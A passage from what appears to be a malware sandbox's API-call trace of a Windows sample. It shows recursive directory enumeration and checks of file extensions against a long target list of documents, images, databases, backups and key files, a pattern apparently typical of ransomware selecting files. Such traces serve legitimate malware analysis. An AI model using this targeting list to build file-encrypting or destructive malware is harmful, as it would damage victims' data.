lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.784] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0043.785] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.785] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.785] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0043.785] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.785] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81e53db0, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x81e53db0, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.785] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855e2db0, ftCreationTime.dwHighDateTime=0x1d4d4e8, ftLastAccessTime.dwLowDateTime=0x506df530, ftLastAccessTime.dwHighDateTime=0x1d4965f, ftLastWriteTime.dwLowDateTime=0x506df530, ftLastWriteTime.dwHighDateTime=0x1d4965f, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="attachment.exe", cAlternateFileName="ATTACH~1.EXE")) returned 1 [0043.785] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.785] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0130 [0044.011] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.017] FindNextFileW (in: hFindFile=0x3ec0130, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0045.080] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f971c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.081] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9342, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0045.081] lstrcmpiW (lpString1=".1cd", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".3ds", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".3fr", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".3g2", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".3gp", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".7z", lpString2="sfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accda", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accdb", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accdc", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accde", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accdt", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".accdw", lpString2="e.asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".adb", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".adp", lpString2="asfx") returned -1 [0045.081] lstrcmpiW (lpString1=".ai", lpString2="sfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai3", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai4", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai5", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai6", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai7", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ai8", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".anim", lpString2=".asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".arw", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".as", lpString2="sfx") returned -1 [0045.082] lstrcmpiW (lpString1=".asa", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".asc", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".ascx", lpString2=".asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".asm", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".asmx", lpString2=".asfx") returned 1 [0045.082] lstrcmpiW (lpString1=".asp", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".aspx", lpString2=".asfx") returned 1 [0045.082] lstrcmpiW (lpString1=".asr", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".asx", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".avi", lpString2="asfx") returned -1 [0045.082] lstrcmpiW (lpString1=".avs", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".backup", lpString2="re.asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bak", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bay", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bd", lpString2="sfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bin", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bmp", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".bz2", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".c", lpString2="fx") returned -1 [0045.083] lstrcmpiW (lpString1=".cdr", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cer", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cf", lpString2="sfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cfc", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cfm", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cfml", lpString2=".asfx") returned 1 [0045.083] lstrcmpiW (lpString1=".cfu", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".chm", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".cin", lpString2="asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".class", lpString2="e.asfx") returned -1 [0045.083] lstrcmpiW (lpString1=".clx", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".config", lpString2="re.asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".cpp", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".cr2", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".crt", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".crw", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".cs", lpString2="sfx") returned -1 [0045.084] lstrcmpiW (lpString1=".css", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".csv", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".cub", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dae", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dat", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".db", lpString2="sfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dbf", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dbx", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dc3", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dcm", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dcr", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".der", lpString2="asfx") returned -1 [0045.084] lstrcmpiW (lpString1=".dib", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dic", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dif", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".divx", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".djvu", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".dng", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".doc", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".docm", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".docx", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".dot", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dotm", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".dotx", lpString2=".asfx") returned 1 [0045.085] lstrcmpiW (lpString1=".dpx", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dqy", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dsn", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dt", lpString2="sfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dtd", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dwg", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dwt", lpString2="asfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dx", lpString2="sfx") returned -1 [0045.085] lstrcmpiW (lpString1=".dxf", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".edml", lpString2=".asfx") returned 1 [0045.086] lstrcmpiW (lpString1=".efd", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".elf", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".emf", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".emz", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".epf", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".eps", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".epsf", lpString2=".asfx") returned 1 [0045.086] lstrcmpiW (lpString1=".epsp", lpString2=".asfx") returned 1 [0045.086] lstrcmpiW (lpString1=".erf", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".exr", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".f4v", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".fido", lpString2=".asfx") returned 1 [0045.086] lstrcmpiW (lpString1=".flm", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".flv", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".frm", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".fxg", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".geo", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".gif", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".grs", lpString2="asfx") returned -1 [0045.086] lstrcmpiW (lpString1=".gz", lpString2="sfx") returned -1 [0045.087] lstrcmpiW (lpString1=".h", lpString2="fx") returned -1 [0045.087] lstrcmpiW (lpString1=".hdr", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".hpp", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".hta", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".htc", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".htm", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".html", lpString2=".asfx") returned 1 [0045.087] lstrcmpiW (lpString1=".icb", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".ics", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".iff", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".inc", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".indd", lpString2=".asfx") returned 1 [0045.087] lstrcmpiW (lpString1=".ini", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".iqy", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".j2c", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".j2k", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".java", lpString2=".asfx") returned 1 [0045.087] lstrcmpiW (lpString1=".jp2", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".jpc", lpString2="asfx") returned -1 [0045.087] lstrcmpiW (lpString1=".jpe", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".jpeg", lpString2=".asfx") returned 1 [0045.088] lstrcmpiW (lpString1=".jpf", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".jpg", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".jpx", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".js", lpString2="sfx") returned -1 [0045.088] lstrcmpiW (lpString1=".jsf", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".json", lpString2=".asfx") returned 1 [0045.088] lstrcmpiW (lpString1=".jsp", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".kdc", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".kmz", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".kwm", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".lasso", lpString2="e.asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".lbi", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".lgf", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".lgp", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".log", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".m1v", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".m4a", lpString2="asfx") returned -1 [0045.088] lstrcmpiW (lpString1=".m4v", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".max", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".md", lpString2="sfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mda", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mdb", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mde", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mdf", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mdw", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mef", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mft", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mfw", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mht", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mhtml", lpString2="e.asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mka", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mkidx", lpString2="e.asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mkv", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mos", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mov", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mp3", lpString2="asfx") returned -1 [0045.089] lstrcmpiW (lpString1=".mp4", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".mpeg", lpString2=".asfx") returned 1 [0045.090] lstrcmpiW (lpString1=".mpg", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".mpv", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".mrw", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".msg", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".mxl", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".myd", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".myi", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".nef", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".nrw", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".obj", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".odb", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".odc", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".odm", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".odp", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".ods", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".oft", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".one", lpString2="asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".onepkg", lpString2="re.asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".onetoc2", lpString2="are.asfx") returned -1 [0045.090] lstrcmpiW (lpString1=".opt", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".oqy", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".orf", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".p12", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".p7b", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".p7c", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pam", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pbm", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pct", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pcx", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pdd", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pdf", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pdp", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pef", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pem", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pff", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pfm", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pfx", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".pgm", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".php", lpString2="asfx") returned -1 [0045.091] lstrcmpiW (lpString1=".php3", lpString2=".asfx") returned 1 [0045.091] lstrcmpiW (lpString1=".php4", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".php5", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".phtml", lpString2="e.asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pict", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".pl", lpString2="sfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pls", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pm", lpString2="sfx") returned -1 [0045.092] lstrcmpiW (lpString1=".png", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pnm", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pot", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".potm", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".potx", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".ppa", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".ppam", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".ppm", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pps", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".ppsm", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".ppt", lpString2="asfx") returned -1 [0045.092] lstrcmpiW (lpString1=".pptm", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".pptx", lpString2=".asfx") returned 1 [0045.092] lstrcmpiW (lpString1=".prn", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".ps", lpString2="sfx") returned -1 [0045.093] lstrcmpiW (lpString1=".psb", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".psd", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".pst", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".ptx", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".pub", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".pwm", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".pxr", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".py", lpString2="sfx") returned -1 [0045.093] lstrcmpiW (lpString1=".qt", lpString2="sfx") returned -1 [0045.093] lstrcmpiW (lpString1=".r3d", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".raf", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".rar", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".raw", lpString2="asfx") returned -1 [0045.093] lstrcmpiW (lpString1=".rdf", lpString2="asfx") returned -1 [0045.093] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 1 [0045.093] FindNextFileW (in: hFindFile=0x3ec0370, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="SERVIC~1.ASF")) returned 0 [0045.093] FindClose (in: hFindFile=0x3ec0370 | out: hFindFile=0x3ec0370) returned 1 [0045.094] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0045.094] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e0106a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CZE", cAlternateFileName="")) returned 1 [0045.094] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0045.094] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fe38b8 | out: hHeap=0x4b0000) returned 1 [0045.095] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da_DK", cAlternateFileName="")) returned 1 [0045.096] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0045.112] FindNextFileW (in: 